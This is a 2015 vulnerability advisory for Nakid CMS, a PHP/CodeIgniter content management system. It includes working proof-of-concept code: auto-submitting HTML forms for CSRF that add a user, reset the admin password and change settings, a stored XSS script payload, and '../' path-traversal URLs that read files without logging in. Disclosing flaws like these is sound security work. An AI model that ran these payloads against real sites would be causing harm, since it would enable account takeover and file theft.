[+] Credits: John Page ( hyp3rlinx ) [+] Domains: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NAKIDCMS0611.txt Vendor: ================================ http://kilrizzy.github.io/Nakid-CMS/ Product: ================================ kilrizzy-Nakid-CMS-f274624 Nakid CMS is an open source content management system built using PHP and CodeIgniter. Setup mode: ========== Under root dir for Nakid CMS we set to production mode instead of development in index.php. e.g. define('ENVIRONMENT', 'production'); Advisory Information: ================================================ CSRF, Persistent XSS & Auth bypass LFI Vulnerability Details: ===================== Multiple CSRF(s) exist: We have ability to do the following as no CSRF tokens are present. 1-Change Admin password 2-Add arbitrary users to system 3-Alter system settings XSS (persistent): XSS parameter vulnerabilities exist for the following: payloads will be stored in the MySQL database and activated when a victim visits the vulnerable webpage. XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/users On the "Edit Record" pop up dialog box. Vulnerable parameters: --------------------- username password email fname lname XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings On the "Edit Record" pop up dialog box. Vulnerable parameters: --------------------- from_name include_path primary_email from_email XSS URL: -------- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/content_edit/1 Vulnerable parameter: -------------------- title Authentication bypass LFI: Local file inclusion to bypass access controls and read aribitrary files exist by setting '$url' PHP variable on following URL index.php/connector$url Exploit POC code(s): ==================== CSRF(s): ======== Condition: Pursuade victim to visit our webpage or click our link, if they have a session then we do our CSRF!. 1- Add arbitrary user to system -------------------------------- <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/users"; method="post"> <input type="text" name="username" value="sum1" /> <input type="text" name="password" value="abc123" /> <input type="text" name="email" value="x...@x.com"/> <input type="text" name="fname" value="sum"/> <input type="text" name="lname" value="1"/> <input type="text" name="oper" value="add"/> <input type="text" name="id" value="_empty"/> </form> </body> </html> 2-Change Admin password ------------------------ <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/profile"; method="post"> <input type="text" name="username" value="admin" /> <input type="text" name="password" value="xyz123" /> <input type="text" name="email" value="h...@abyss.com"/> <input type="text" name="fname" value="hyp3r"/> <input type="text" name="lname" value="linx"/> <input type="text" name="action" value="edit_profile"/> <input type="text" name="submitbt" value="Save"/> </form> </body> </html> 3-Alter system settings ----------------------- <!DOCTYPE> <html> <head> <script> function doit(){ var e=document.getElementById('ruinurlife') e.submit() } </script> </head> <body onLoad="doit()"> <form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/settings"; method="post"> <input type="text" name="value" value="h...@abyss.com" /> <input type="text" name="oper" value="edit" /> <input type="text" name="id" value="1"/> </form> </body> </html> XSS persistent POC code: ======================= Inject <script>alert(666)</script> into any of the following vulnerable fields described above using POST method. Need to highlight a row then click edit dialog box to edit settings. e.g. http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings from_name <------- <script>alert(666)</script> include_path primary_email from_email Authorization bypass LFI: ======================== 1- Logout, create a hell.txt file or whatever and put in 'htdocs' or web root, then visit the URL (change to suit your environment). 2- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../../hell.txt OR try http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../xampp/phpinfo.php Disclosure Timeline: ========================================================= Vendor Notification: NA June 11, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] GET & POST Vulnerable Product: [+] kilrizzy-Nakid-CMS-f274624 Vulnerable Parameter(s): [+] username password email fname lname from_name include_path primary_email from_email title connector$url Affected Area(s): [+] /system/users /system/profile /system/content_edit/ =============================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx)
